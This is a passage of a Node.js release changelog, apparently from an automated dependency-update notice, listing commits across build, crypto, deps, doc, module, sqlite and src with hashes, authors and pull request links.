-   \[[`f89664d890`](https://redirect.github.com/nodejs/node/commit/f89664d890)] - **build**: include `.nycrc` in coverage workflows (Wuli Zuo) [#&#8203;55210](https://redirect.github.com/nodejs/node/pull/55210)
-   \[[`d7a9df6417`](https://redirect.github.com/nodejs/node/commit/d7a9df6417)] - **build**: notify via slack when review-wanted (Rafael Gonzaga) [#&#8203;55102](https://redirect.github.com/nodejs/node/pull/55102)
-   \[[`68822cc861`](https://redirect.github.com/nodejs/node/commit/68822cc861)] - **build**: add more information to Makefile help (Aviv Keller) [#&#8203;53381](https://redirect.github.com/nodejs/node/pull/53381)
-   \[[`f3ca9c669b`](https://redirect.github.com/nodejs/node/commit/f3ca9c669b)] - **build**: update ruff and add `lint-py-fix` (Aviv Keller) [#&#8203;54410](https://redirect.github.com/nodejs/node/pull/54410)
-   \[[`d99ae548d7`](https://redirect.github.com/nodejs/node/commit/d99ae548d7)] - **build**: remove -v flag to reduce noise (iwuliz) [#&#8203;55025](https://redirect.github.com/nodejs/node/pull/55025)
-   \[[`d3dfbe7ff9`](https://redirect.github.com/nodejs/node/commit/d3dfbe7ff9)] - **build**: display free disk space after build in the test-macOS workflow (iwuliz) [#&#8203;55025](https://redirect.github.com/nodejs/node/pull/55025)
-   \[[`3077f6a5b7`](https://redirect.github.com/nodejs/node/commit/3077f6a5b7)] - **build**: support up to python 3.13 in android-configure (Aviv Keller) [#&#8203;54529](https://redirect.github.com/nodejs/node/pull/54529)
-   \[[`a929c71281`](https://redirect.github.com/nodejs/node/commit/a929c71281)] - **build**: add the option to generate compile_commands.json in vcbuild.bat (Segev Finer) [#&#8203;52279](https://redirect.github.com/nodejs/node/pull/52279)
-   \[[`a81f368b99`](https://redirect.github.com/nodejs/node/commit/a81f368b99)] - **build**: fix eslint makefile target (Aviv Keller) [#&#8203;54999](https://redirect.github.com/nodejs/node/pull/54999)
-   \[[`c8b7a645ae`](https://redirect.github.com/nodejs/node/commit/c8b7a645ae)] - ***Revert*** "**build**: upgrade clang-format to v18" (Chengzhong Wu) [#&#8203;54994](https://redirect.github.com/nodejs/node/pull/54994)
-   \[[`7861ca5dc3`](https://redirect.github.com/nodejs/node/commit/7861ca5dc3)] - **build**: print `Running XYZ linter...` for py and yml (Aviv Keller) [#&#8203;54386](https://redirect.github.com/nodejs/node/pull/54386)
-   \[[`aaea3944e5`](https://redirect.github.com/nodejs/node/commit/aaea3944e5)] - **build,win**: add winget config to set up env (Hüseyin Açacak) [#&#8203;54729](https://redirect.github.com/nodejs/node/pull/54729)
-   \[[`30d47220bb`](https://redirect.github.com/nodejs/node/commit/30d47220bb)] - **build,win**: float VS 17.11 compilation patch (Stefan Stojanovic) [#&#8203;54970](https://redirect.github.com/nodejs/node/pull/54970)
-   \[[`048a1ab350`](https://redirect.github.com/nodejs/node/commit/048a1ab350)] - **cli**: ensure --run has proper pwd (Yagiz Nizipli) [#&#8203;54949](https://redirect.github.com/nodejs/node/pull/54949)
-   \[[`a97841ee10`](https://redirect.github.com/nodejs/node/commit/a97841ee10)] - **cli**: fix spacing for port range error (Aviv Keller) [#&#8203;54495](https://redirect.github.com/nodejs/node/pull/54495)
-   \[[`1dcc5eedff`](https://redirect.github.com/nodejs/node/commit/1dcc5eedff)] - ***Revert*** "**console**: colorize console error and warn" (Aviv Keller) [#&#8203;54677](https://redirect.github.com/nodejs/node/pull/54677)
-   \[[`f0b441230a`](https://redirect.github.com/nodejs/node/commit/f0b441230a)] - **(SEMVER-MINOR)** **crypto**: add KeyObject.prototype.toCryptoKey (Filip Skokan) [#&#8203;55262](https://redirect.github.com/nodejs/node/pull/55262)
-   \[[`d3f8c35320`](https://redirect.github.com/nodejs/node/commit/d3f8c35320)] - **crypto**: ensure invalid SubtleCrypto JWK data import results in DataError (Filip Skokan) [#&#8203;55041](https://redirect.github.com/nodejs/node/pull/55041)
-   \[[`349d2ed07b`](https://redirect.github.com/nodejs/node/commit/349d2ed07b)] - **(SEMVER-MINOR)** **crypto**: add Date fields for `validTo` and `validFrom` (Andrew Moon) [#&#8203;54159](https://redirect.github.com/nodejs/node/pull/54159)
-   \[[`34ca36a397`](https://redirect.github.com/nodejs/node/commit/34ca36a397)] - **deps**: update undici to 6.20.0 (Node.js GitHub Bot) [#&#8203;55329](https://redirect.github.com/nodejs/node/pull/55329)
-   \[[`f703652e84`](https://redirect.github.com/nodejs/node/commit/f703652e84)] - **deps**: upgrade npm to 10.9.0 (npm team) [#&#8203;55255](https://redirect.github.com/nodejs/node/pull/55255)
-   \[[`b533a51856`](https://redirect.github.com/nodejs/node/commit/b533a51856)] - **deps**: V8: backport [`0d5d6e7`](https://redirect.github.com/nodejs/node/commit/0d5d6e71bbb0) (Yagiz Nizipli) [#&#8203;55115](https://redirect.github.com/nodejs/node/pull/55115)
-   \[[`2f65b3fd07`](https://redirect.github.com/nodejs/node/commit/2f65b3fd07)] - **deps**: V8: partially cherry-pick [`8953e49`](https://redirect.github.com/nodejs/node/commit/8953e49478) (Ben Noordhuis) [#&#8203;55274](https://redirect.github.com/nodejs/node/pull/55274)
-   \[[`bb9f77d53a`](https://redirect.github.com/nodejs/node/commit/bb9f77d53a)] - **deps**: update archs files for openssl-3.0.15+quic1 (Node.js GitHub Bot) [#&#8203;55184](https://redirect.github.com/nodejs/node/pull/55184)
-   \[[`63d51c82fe`](https://redirect.github.com/nodejs/node/commit/63d51c82fe)] - **deps**: upgrade openssl sources to quictls/openssl-3.0.15+quic1 (Node.js GitHub Bot) [#&#8203;55184](https://redirect.github.com/nodejs/node/pull/55184)
-   \[[`29e6484f3c`](https://redirect.github.com/nodejs/node/commit/29e6484f3c)] - **deps**: update archs files for openssl-3.0.14+quic1 (Node.js GitHub Bot) [#&#8203;54336](https://redirect.github.com/nodejs/node/pull/54336)
-   \[[`283927ec88`](https://redirect.github.com/nodejs/node/commit/283927ec88)] - **deps**: upgrade openssl sources to quictls/openssl-3.0.14+quic1 (Node.js GitHub Bot) [#&#8203;54336](https://redirect.github.com/nodejs/node/pull/54336)
-   \[[`b0636a1e88`](https://redirect.github.com/nodejs/node/commit/b0636a1e88)] - **deps**: update timezone to 2024b (Node.js GitHub Bot) [#&#8203;55056](https://redirect.github.com/nodejs/node/pull/55056)
-   \[[`173464d76f`](https://redirect.github.com/nodejs/node/commit/173464d76f)] - **deps**: update acorn-walk to 8.3.4 (Node.js GitHub Bot) [#&#8203;54950](https://redirect.github.com/nodejs/node/pull/54950)
-   \[[`0d4536543b`](https://redirect.github.com/nodejs/node/commit/0d4536543b)] - **deps**: update corepack to 0.29.4 (Node.js GitHub Bot) [#&#8203;54845](https://redirect.github.com/nodejs/node/pull/54845)
-   \[[`1de5512383`](https://redirect.github.com/nodejs/node/commit/1de5512383)] - **deps**: V8: cherry-pick [`217457d`](https://redirect.github.com/nodejs/node/commit/217457d0a560) (Michaël Zasso) [#&#8203;54883](https://redirect.github.com/nodejs/node/pull/54883)
-   \[[`1921d7a37c`](https://redirect.github.com/nodejs/node/commit/1921d7a37c)] - **doc**: add release key for aduh95 (Antoine du Hamel) [#&#8203;55349](https://redirect.github.com/nodejs/node/pull/55349)
-   \[[`d8e42be1b2`](https://redirect.github.com/nodejs/node/commit/d8e42be1b2)] - **doc**: move `ERR_INVALID_PERFORMANCE_MARK` to legacy errors (Antoine du Hamel) [#&#8203;55247](https://redirect.github.com/nodejs/node/pull/55247)
-   \[[`5ea8aa183c`](https://redirect.github.com/nodejs/node/commit/5ea8aa183c)] - **doc**: fix Markdown linter (Antoine du Hamel) [#&#8203;55344](https://redirect.github.com/nodejs/node/pull/55344)
-   \[[`873588888d`](https://redirect.github.com/nodejs/node/commit/873588888d)] - ***Revert*** "**doc**: update test context.assert" (Antoine du Hamel) [#&#8203;55344](https://redirect.github.com/nodejs/node/pull/55344)
-   \[[`707e7cc702`](https://redirect.github.com/nodejs/node/commit/707e7cc702)] - **doc**: add pmarchini to collaborators (Pietro Marchini) [#&#8203;55331](https://redirect.github.com/nodejs/node/pull/55331)
-   \[[`b03272b9a1`](https://redirect.github.com/nodejs/node/commit/b03272b9a1)] - **doc**: fix `events.once()` example using `AbortSignal` (Ivo Janssen) [#&#8203;55144](https://redirect.github.com/nodejs/node/pull/55144)
-   \[[`85b765953d`](https://redirect.github.com/nodejs/node/commit/85b765953d)] - **doc**: add onboarding details for ambassador program (Marco Ippolito) [#&#8203;55284](https://redirect.github.com/nodejs/node/pull/55284)
-   \[[`5d41b8a8b0`](https://redirect.github.com/nodejs/node/commit/5d41b8a8b0)] - **doc**: update `require(ESM)` history and stability status (Antoine du Hamel) [#&#8203;55199](https://redirect.github.com/nodejs/node/pull/55199)
-   \[[`195df659e9`](https://redirect.github.com/nodejs/node/commit/195df659e9)] - **doc**: move `ERR_NAPI_TSFN_START/STOP_IDLE_LOOP` to legacy errors (Antoine du Hamel) [#&#8203;55248](https://redirect.github.com/nodejs/node/pull/55248)
-   \[[`8eae0d3f3c`](https://redirect.github.com/nodejs/node/commit/8eae0d3f3c)] - **doc**: fix initial default value of autoSelectFamily (Ihor Rohovets) [#&#8203;55245](https://redirect.github.com/nodejs/node/pull/55245)
-   \[[`297cb0da5a`](https://redirect.github.com/nodejs/node/commit/297cb0da5a)] - **doc**: tweak onboarding instructions (Michael Dawson) [#&#8203;55212](https://redirect.github.com/nodejs/node/pull/55212)
-   \[[`7ddbfe8c2b`](https://redirect.github.com/nodejs/node/commit/7ddbfe8c2b)] - **doc**: update test context.assert (Pietro Marchini) [#&#8203;55186](https://redirect.github.com/nodejs/node/pull/55186)
-   \[[`8a57550d20`](https://redirect.github.com/nodejs/node/commit/8a57550d20)] - **doc**: fix unordered error anchors (Antoine du Hamel) [#&#8203;55242](https://redirect.github.com/nodejs/node/pull/55242)
-   \[[`286ea4ed3d`](https://redirect.github.com/nodejs/node/commit/286ea4ed3d)] - **doc**: mention addons to experimental permission (Rafael Gonzaga) [#&#8203;55166](https://redirect.github.com/nodejs/node/pull/55166)
-   \[[`7c9ceabf38`](https://redirect.github.com/nodejs/node/commit/7c9ceabf38)] - **doc**: use correct dash in stability status (Antoine du Hamel) [#&#8203;55200](https://redirect.github.com/nodejs/node/pull/55200)
-   \[[`781ffd8ba1`](https://redirect.github.com/nodejs/node/commit/781ffd8ba1)] - **doc**: fix link in `test/README.md` (Livia Medeiros) [#&#8203;55165](https://redirect.github.com/nodejs/node/pull/55165)
-   \[[`61b9ed3bf2`](https://redirect.github.com/nodejs/node/commit/61b9ed3bf2)] - **doc**: add esm examples to node:net (Alfredo González) [#&#8203;55134](https://redirect.github.com/nodejs/node/pull/55134)
-   \[[`bb3499038d`](https://redirect.github.com/nodejs/node/commit/bb3499038d)] - **doc**: remove outdated https import reference (Edigleysson Silva (Edy)) [#&#8203;55111](https://redirect.github.com/nodejs/node/pull/55111)
-   \[[`6cc49518c7`](https://redirect.github.com/nodejs/node/commit/6cc49518c7)] - **doc**: move the YAML changes element (sendoru) [#&#8203;55112](https://redirect.github.com/nodejs/node/pull/55112)
-   \[[`b12b4a23e4`](https://redirect.github.com/nodejs/node/commit/b12b4a23e4)] - **doc**: remove random horizontal separators in `process.md` (Antoine du Hamel) [#&#8203;55149](https://redirect.github.com/nodejs/node/pull/55149)
-   \[[`7186ede388`](https://redirect.github.com/nodejs/node/commit/7186ede388)] - **doc**: put --env-file-if-exists=config right under --env-file=config (Edigleysson Silva (Edy)) [#&#8203;55131](https://redirect.github.com/nodejs/node/pull/55131)
-   \[[`8ad0dfff10`](https://redirect.github.com/nodejs/node/commit/8ad0dfff10)] - **doc**: fix the require resolve algorithm in `modules.md` (chirsz) [#&#8203;55117](https://redirect.github.com/nodejs/node/pull/55117)
-   \[[`fd40f0873f`](https://redirect.github.com/nodejs/node/commit/fd40f0873f)] - **doc**: update style guide (Aviv Keller) [#&#8203;53223](https://redirect.github.com/nodejs/node/pull/53223)
-   \[[`12c9d9780f`](https://redirect.github.com/nodejs/node/commit/12c9d9780f)] - **doc**: add missing `:` to `run()`'s `globPatterns` (Aviv Keller) [#&#8203;55135](https://redirect.github.com/nodejs/node/pull/55135)
-   \[[`73b05cfb04`](https://redirect.github.com/nodejs/node/commit/73b05cfb04)] - **doc**: correct `cleanup` option in stream.(promises.)finished (René) [#&#8203;55043](https://redirect.github.com/nodejs/node/pull/55043)
-   \[[`bebc95ed58`](https://redirect.github.com/nodejs/node/commit/bebc95ed58)] - **doc**: add abmusse to collaborators (Abdirahim Musse) [#&#8203;55086](https://redirect.github.com/nodejs/node/pull/55086)
-   \[[`a97c80c6ae`](https://redirect.github.com/nodejs/node/commit/a97c80c6ae)] - **doc**: add note about `--expose-internals` (Aviv Keller) [#&#8203;52861](https://redirect.github.com/nodejs/node/pull/52861)
-   \[[`89aeae63bd`](https://redirect.github.com/nodejs/node/commit/89aeae63bd)] - **doc**: remove `parseREPLKeyword` from REPL documentation (Aviv Keller) [#&#8203;54749](https://redirect.github.com/nodejs/node/pull/54749)
-   \[[`b3e0490b8b`](https://redirect.github.com/nodejs/node/commit/b3e0490b8b)] - **doc**: add missing EventSource docs to globals (Matthew Aitken) [#&#8203;55022](https://redirect.github.com/nodejs/node/pull/55022)
-   \[[`516c775fa5`](https://redirect.github.com/nodejs/node/commit/516c775fa5)] - **doc**: cover --experimental-test-module-mocks flag (Jonathan Sharpe) [#&#8203;55021](https://redirect.github.com/nodejs/node/pull/55021)
-   \[[`4244f1a269`](https://redirect.github.com/nodejs/node/commit/4244f1a269)] - **doc**: add more details for localStorage and sessionStorage (Batuhan Tomo) [#&#8203;53881](https://redirect.github.com/nodejs/node/pull/53881)
-   \[[`39a728c2e3`](https://redirect.github.com/nodejs/node/commit/39a728c2e3)] - **doc**: change backporting guide with updated info (Aviv Keller) [#&#8203;53746](https://redirect.github.com/nodejs/node/pull/53746)
-   \[[`3a5fe95ad7`](https://redirect.github.com/nodejs/node/commit/3a5fe95ad7)] - **doc**: add missing definitions to `internal-api.md` (Aviv Keller) [#&#8203;53303](https://redirect.github.com/nodejs/node/pull/53303)
-   \[[`f2d74a26a3`](https://redirect.github.com/nodejs/node/commit/f2d74a26a3)] - **doc**: fix history of `process.features` (Antoine du Hamel) [#&#8203;54982](https://redirect.github.com/nodejs/node/pull/54982)
-   \[[`29866ca438`](https://redirect.github.com/nodejs/node/commit/29866ca438)] - **doc**: fix typo callsite.lineNumber (Rafael Gonzaga) [#&#8203;54969](https://redirect.github.com/nodejs/node/pull/54969)
-   \[[`c1d73abd29`](https://redirect.github.com/nodejs/node/commit/c1d73abd29)] - **doc**: update documentation for externalizing deps (Michael Dawson) [#&#8203;54792](https://redirect.github.com/nodejs/node/pull/54792)
-   \[[`eca9668231`](https://redirect.github.com/nodejs/node/commit/eca9668231)] - **doc**: add documentation for process.features (Marco Ippolito) [#&#8203;54897](https://redirect.github.com/nodejs/node/pull/54897)
-   \[[`0fb446e207`](https://redirect.github.com/nodejs/node/commit/0fb446e207)] - **esm**: do not interpret `"main"` as a URL (Antoine du Hamel) [#&#8203;55003](https://redirect.github.com/nodejs/node/pull/55003)
-   \[[`be2fe4b249`](https://redirect.github.com/nodejs/node/commit/be2fe4b249)] - **events**: allow null/undefined eventInitDict (Matthew Aitken) [#&#8203;54643](https://redirect.github.com/nodejs/node/pull/54643)
-   \[[`cb47e169a0`](https://redirect.github.com/nodejs/node/commit/cb47e169a0)] - **events**: return `currentTarget` when dispatching (Matthew Aitken) [#&#8203;54642](https://redirect.github.com/nodejs/node/pull/54642)
-   \[[`dbfae3fe14`](https://redirect.github.com/nodejs/node/commit/dbfae3fe14)] - **fs**: acknowledge `signal` option in `filehandle.createReadStream()` (Livia Medeiros) [#&#8203;55148](https://redirect.github.com/nodejs/node/pull/55148)
-   \[[`1c94725c07`](https://redirect.github.com/nodejs/node/commit/1c94725c07)] - **fs**: check subdir correctly in cpSync (Jason Zhang) [#&#8203;55033](https://redirect.github.com/nodejs/node/pull/55033)
-   \[[`79ffefab2a`](https://redirect.github.com/nodejs/node/commit/79ffefab2a)] - **fs**: convert to u8 string for filesystem path (Jason Zhang) [#&#8203;54653](https://redirect.github.com/nodejs/node/pull/54653)
-   \[[`914db60159`](https://redirect.github.com/nodejs/node/commit/914db60159)] - **(SEMVER-MINOR)** **http2**: expose nghttp2\_option_set_stream_reset_rate_limit as an option (Maël Nison) [#&#8203;54875](https://redirect.github.com/nodejs/node/pull/54875)
-   \[[`08b5e6c794`](https://redirect.github.com/nodejs/node/commit/08b5e6c794)] - **lib**: fix module print timing when specifier includes `"` (Antoine du Hamel) [#&#8203;55150](https://redirect.github.com/nodejs/node/pull/55150)
-   \[[`bf7d7aef4b`](https://redirect.github.com/nodejs/node/commit/bf7d7aef4b)] - **lib**: fix typos (Nathan Baulch) [#&#8203;55065](https://redirect.github.com/nodejs/node/pull/55065)
-   \[[`d803355d92`](https://redirect.github.com/nodejs/node/commit/d803355d92)] - **lib**: prefer optional chaining (Aviv Keller) [#&#8203;55045](https://redirect.github.com/nodejs/node/pull/55045)
-   \[[`d4873bcd6d`](https://redirect.github.com/nodejs/node/commit/d4873bcd6d)] - **lib**: remove lib/internal/idna.js (Yagiz Nizipli) [#&#8203;55050](https://redirect.github.com/nodejs/node/pull/55050)
-   \[[`f7c3b03759`](https://redirect.github.com/nodejs/node/commit/f7c3b03759)] - **(SEMVER-MINOR)** **lib**: propagate aborted state to dependent signals before firing events (jazelly) [#&#8203;54826](https://redirect.github.com/nodejs/node/pull/54826)
-   \[[`397ae418db`](https://redirect.github.com/nodejs/node/commit/397ae418db)] - **lib**: the REPL should survive deletion of Array.prototype methods (Jordan Harband) [#&#8203;31457](https://redirect.github.com/nodejs/node/pull/31457)
-   \[[`566179c9ec`](https://redirect.github.com/nodejs/node/commit/566179c9ec)] - **lib, tools**: remove duplicate requires (Aviv Keller) [#&#8203;54987](https://redirect.github.com/nodejs/node/pull/54987)
-   \[[`c9a1bbbef2`](https://redirect.github.com/nodejs/node/commit/c9a1bbbef2)] - **meta**: move one or more collaborators to emeritus (Node.js GitHub Bot) [#&#8203;55300](https://redirect.github.com/nodejs/node/pull/55300)
-   \[[`d7b73bbd1d`](https://redirect.github.com/nodejs/node/commit/d7b73bbd1d)] - **meta**: bump mozilla-actions/sccache-action from 0.0.5 to 0.0.6 (dependabot\[bot]) [#&#8203;55225](https://redirect.github.com/nodejs/node/pull/55225)
-   \[[`0f4269faa9`](https://redirect.github.com/nodejs/node/commit/0f4269faa9)] - **meta**: bump actions/checkout from 4.1.7 to 4.2.0 (dependabot\[bot]) [#&#8203;55224](https://redirect.github.com/nodejs/node/pull/55224)
-   \[[`33be1990d8`](https://redirect.github.com/nodejs/node/commit/33be1990d8)] - **meta**: bump actions/setup-node from 4.0.3 to 4.0.4 (dependabot\[bot]) [#&#8203;55223](https://redirect.github.com/nodejs/node/pull/55223)
-   \[[`f5b4ae5bf8`](https://redirect.github.com/nodejs/node/commit/f5b4ae5bf8)] - **meta**: bump peter-evans/create-pull-request from 7.0.1 to 7.0.5 (dependabot\[bot]) [#&#8203;55219](https://redirect.github.com/nodejs/node/pull/55219)
-   \[[`1985d9016e`](https://redirect.github.com/nodejs/node/commit/1985d9016e)] - **meta**: add mailmap entry for abmusse (Abdirahim Musse) [#&#8203;55182](https://redirect.github.com/nodejs/node/pull/55182)
-   \[[`93b215d5e6`](https://redirect.github.com/nodejs/node/commit/93b215d5e6)] - **meta**: add more information about nightly releases (Aviv Keller) [#&#8203;55084](https://redirect.github.com/nodejs/node/pull/55084)
-   \[[`aeae5973c3`](https://redirect.github.com/nodejs/node/commit/aeae5973c3)] - **meta**: add `linux` to OS labels in collaborator guide (Aviv Keller) [#&#8203;54986](https://redirect.github.com/nodejs/node/pull/54986)
-   \[[`4fb2c3baa8`](https://redirect.github.com/nodejs/node/commit/4fb2c3baa8)] - **meta**: remove never-used workflow trigger (Aviv Keller) [#&#8203;54983](https://redirect.github.com/nodejs/node/pull/54983)
-   \[[`e1f36d0da8`](https://redirect.github.com/nodejs/node/commit/e1f36d0da8)] - **meta**: remove unneeded ignore rules from ruff (Aviv Keller) [#&#8203;54360](https://redirect.github.com/nodejs/node/pull/54360)
-   \[[`ce0d0c1ec8`](https://redirect.github.com/nodejs/node/commit/ce0d0c1ec8)] - **meta**: remove `build-windows.yml` (Aviv Keller) [#&#8203;54662](https://redirect.github.com/nodejs/node/pull/54662)
-   \[[`ca67c97f33`](https://redirect.github.com/nodejs/node/commit/ca67c97f33)] - **meta**: add links to alternative issue trackers (Aviv Keller) [#&#8203;54401](https://redirect.github.com/nodejs/node/pull/54401)
-   \[[`6fcac73738`](https://redirect.github.com/nodejs/node/commit/6fcac73738)] - **module**: wrap swc error in ERR_INVALID_TYPESCRIPT_SYNTAX (Marco Ippolito) [#&#8203;55316](https://redirect.github.com/nodejs/node/pull/55316)
-   \[[`0412ac8bf3`](https://redirect.github.com/nodejs/node/commit/0412ac8bf3)] - **module**: add internal type def for `flushCompileCache` (Jacob Smith) [#&#8203;55226](https://redirect.github.com/nodejs/node/pull/55226)
-   \[[`32261fc98a`](https://redirect.github.com/nodejs/node/commit/32261fc98a)] - **(SEMVER-MINOR)** **module**: support loading entrypoint as url (RedYetiDev) [#&#8203;54933](https://redirect.github.com/nodejs/node/pull/54933)
-   \[[`111261e245`](https://redirect.github.com/nodejs/node/commit/111261e245)] - **(SEMVER-MINOR)** **module**: implement the "module-sync" exports condition (Joyee Cheung) [#&#8203;54648](https://redirect.github.com/nodejs/node/pull/54648)
-   \[[`b6fc9adf5b`](https://redirect.github.com/nodejs/node/commit/b6fc9adf5b)] - **module**: remove duplicated import (Aviv Keller) [#&#8203;54942](https://redirect.github.com/nodejs/node/pull/54942)
-   \[[`06957ff355`](https://redirect.github.com/nodejs/node/commit/06957ff355)] - **(SEMVER-MINOR)** **module**: implement flushCompileCache() (Joyee Cheung) [#&#8203;54971](https://redirect.github.com/nodejs/node/pull/54971)
-   \[[`2dcf70c347`](https://redirect.github.com/nodejs/node/commit/2dcf70c347)] - **(SEMVER-MINOR)** **module**: throw when invalid argument is passed to enableCompileCache() (Joyee Cheung) [#&#8203;54971](https://redirect.github.com/nodejs/node/pull/54971)
-   \[[`f9b19d7c44`](https://redirect.github.com/nodejs/node/commit/f9b19d7c44)] - **(SEMVER-MINOR)** **module**: write compile cache to temporary file and then rename it (Joyee Cheung) [#&#8203;54971](https://redirect.github.com/nodejs/node/pull/54971)
-   \[[`1d169764db`](https://redirect.github.com/nodejs/node/commit/1d169764db)] - **module**: report unfinished TLA in ambiguous modules (Antoine du Hamel) [#&#8203;54980](https://redirect.github.com/nodejs/node/pull/54980)
-   \[[`c89c93496d`](https://redirect.github.com/nodejs/node/commit/c89c93496d)] - **module**: refator ESM loader for adding future synchronous hooks (Joyee Cheung) [#&#8203;54769](https://redirect.github.com/nodejs/node/pull/54769)
-   \[[`108cef22e6`](https://redirect.github.com/nodejs/node/commit/108cef22e6)] - **module**: remove bogus assertion in CJS entrypoint handling with --import (Joyee Cheung) [#&#8203;54592](https://redirect.github.com/nodejs/node/pull/54592)
-   \[[`67ecb10c78`](https://redirect.github.com/nodejs/node/commit/67ecb10c78)] - **module**: fix discrepancy between .ts and .js (Marco Ippolito) [#&#8203;54461](https://redirect.github.com/nodejs/node/pull/54461)
-   \[[`3300d5990f`](https://redirect.github.com/nodejs/node/commit/3300d5990f)] - **os**: use const with early return for path (Trivikram Kamat) [#&#8203;54959](https://redirect.github.com/nodejs/node/pull/54959)
-   \[[`90cce6ec7c`](https://redirect.github.com/nodejs/node/commit/90cce6ec7c)] - **path**: remove repetitive conditional operator in `posix.resolve` (Wiyeong Seo) [#&#8203;54835](https://redirect.github.com/nodejs/node/pull/54835)
-   \[[`cbfc980f89`](https://redirect.github.com/nodejs/node/commit/cbfc980f89)] - **perf_hooks**: add missing type argument to getEntriesByName (Luke Taher) [#&#8203;54767](https://redirect.github.com/nodejs/node/pull/54767)
-   \[[`e95163b170`](https://redirect.github.com/nodejs/node/commit/e95163b170)] - **(SEMVER-MINOR)** **process**: add process.features.require_module (Joyee Cheung) [#&#8203;55241](https://redirect.github.com/nodejs/node/pull/55241)
-   \[[`0655d3a384`](https://redirect.github.com/nodejs/node/commit/0655d3a384)] - **process**: fix `process.features.typescript` when Amaro is unavailable (Antoine du Hamel) [#&#8203;55323](https://redirect.github.com/nodejs/node/pull/55323)
-   \[[`4050f68e5d`](https://redirect.github.com/nodejs/node/commit/4050f68e5d)] - **(SEMVER-MINOR)** **process**: add `process.features.typescript` (Aviv Keller) [#&#8203;54295](https://redirect.github.com/nodejs/node/pull/54295)
-   \[[`75073c50ae`](https://redirect.github.com/nodejs/node/commit/75073c50ae)] - **quic**: start adding in the internal quic js api (James M Snell) [#&#8203;53256](https://redirect.github.com/nodejs/node/pull/53256)
-   \[[`538b1eb5b0`](https://redirect.github.com/nodejs/node/commit/538b1eb5b0)] - **repl**: catch `\v` and `\r` in new-line detection (Aviv Keller) [#&#8203;54512](https://redirect.github.com/nodejs/node/pull/54512)
-   \[[`57a9d3f15e`](https://redirect.github.com/nodejs/node/commit/57a9d3f15e)] - **sqlite**: disable DQS misfeature by default (Tobias Nießen) [#&#8203;55297](https://redirect.github.com/nodejs/node/pull/55297)
-   \[[`c126543374`](https://redirect.github.com/nodejs/node/commit/c126543374)] - **sqlite**: make sourceSQL and expandedSQL string-valued properties (Tobias Nießen) [#&#8203;54721](https://redirect.github.com/nodejs/node/pull/54721)
-   \[[`67f5f46c56`](https://redirect.github.com/nodejs/node/commit/67f5f46c56)] - **sqlite**: enable foreign key constraints by default (Tobias Nießen) [#&#8203;54777](https://redirect.github.com/nodejs/node/pull/54777)
-   \[[`09999491bf`](https://redirect.github.com/nodejs/node/commit/09999491bf)] - **src**: handle errors correctly in webstorage (Michaël Zasso) [#&#8203;54544](https://redirect.github.com/nodejs/node/pull/54544)
-   \[[`295c17c4ea`](https://redirect.github.com/nodejs/node/commit/295c17c4ea)] - **src**: make minor tweaks to quic c++ for c++20 (James M Snell) [#&#8203;53256](https://redirect.github.com/nodejs/node/pull/53256)
-   \[[`b1d47d06f9`](https://redirect.github.com/nodejs/node/commit/b1d47d06f9)] - **src**: apply getCallSite optimization (RafaelGSS) [#&#8203;55174](https://redirect.github.com/nodejs/node/pull/55174)
-   \[[`d6bcc44829`](https://redirect.github.com/nodejs/node/commit/d6bcc44829)] - **src**: modernize likely/unlikely hints (Yagiz Nizipli) [#&#8203;55155](https://redirect.github.com/nodejs/node/pull/55155)
-   \[[`1af5ad61ca`](https://redirect.github.com/nodejs/node/commit/1af5ad61ca)] - **src**: fixup Error.stackTraceLimit during snapshot building (Joyee Cheung) [#&#8203;55121](https://redirect.github.com/nodejs/node/pull/55121)
-   \[[`b229083235`](https://redirect.github.com/nodejs/node/commit/b229083235)] - **src**: parse --stack-trace-limit and use it in --trace-\* flags (Joyee Cheung) [#&#8203;55121](https://redirect.github.com/nodejs/node/pull/55121)
-   \[[`942ad54e08`](https://redirect.github.com/nodejs/node/commit/942ad54e08)] - **src**: move more key handling to ncrypto (James M Snell) [#&#8203;55108](https://redirect.github.com/nodejs/node/pull/55108)
-   \[[`0bb5584288`](https://redirect.github.com/nodejs/node/commit/0bb5584288)] - **src**: add receiver to fast api callback methods (Carlos Espa) [#&#8203;54408](https://redirect.github.com/nodejs/node/pull/54408)
-   \[[`706e9611f0`](https://redirect.github.com/nodejs/node/commit/706e9611f0)] - **src**: fix typos (Nathan Baulch) [#&#8203;55064](https://redirect.github.com/nodejs/node/pull/55064)
-   \[[`a96d5d1bcc`](https://redirect.github.com/nodejs/node/commit/a96d5d1bcc)] - **src**: move more stuff over to use Maybe\<void> (James M Snell) [#&#8203;54831](https://redirect.github.com/nodejs/node/pull/54831)
-   \[[`ee0a98b5a2`](https://redirect.github.com/nodejs/node/commit/ee0a98b5a2)] - **src**: decode native error messages as UTF-8 (Joyee Cheung) [#&#8203;55024](https://redirect.github.com/nodejs/node/pull/55024)
-   \[[`1fc8edecf8`](https://redirect.github.com/nodejs/node/commit/1fc8edecf8)] - **src**: update clang-tidy and focus on modernization (Yagiz Nizipli) [#&#8203;53757](https://redirect.github.com/nodejs/node/pull/53757)
-   \[[`3a1485a1a3`](https://redirect.github.com/nodejs/node/commit/3a1485a1a3)] - **src**: move evp stuff to ncrypto (James M Snell) [#&#8203;54911](https://redirect.github.com/nodejs/node/pull/54911)
-   \[[`9ae80e1e4d`](https://redirect.github.com/nodejs/node/commit/9ae80e1e4d)] - **src**: revert filesystem::path changes (Yagiz Nizipli) [#&#8203;55015](https://redirect.github.com/nodejs/node/pull/55015)
-   \[[`465d05018a`](https://redirect.github.com/nodejs/node/commit/465d05018a)] - **src**: mark node --run as stable (Yagiz Nizipli) [#&#8203;53763](https://redirect.github.com/nodejs/node/pull/53763)
-   \[[`ef546c872c`](https://redirect.github.com/nodejs/node/commit/ef546c872c)] - **src**: cleanup per env handles directly without a list (Chengzhong Wu) [#&#8203;54993](https://redirect.github.com/nodejs/node/pull/54993)
-   \[[`0876f78411`](https://redirect.github.com/nodejs/node/commit/0876f78411)] - **src**: add unistd.h import if node posix credentials is defined (Jonas) [#&#8203;54528](https://redirect.github.com/nodejs/node/pull/54528)
-   \[[`284db53866`](https://redirect.github.com/nodejs/node/commit/284db53866)] - **src**: remove duplicate code setting AF_INET (He Yang) [#&#8203;54939](https://redirect.github.com/nodejs/node/pull/54939)
-   \[[`f332c4c4fc`](https://redirect.github.com/nodejs/node/commit/f332c4c4fc)] - **src**: use `Maybe<void>` where bool isn't needed (Michaël Zasso) [#&#8203;54575](https://redirect.github.com/nodejs/node/pull/54575)
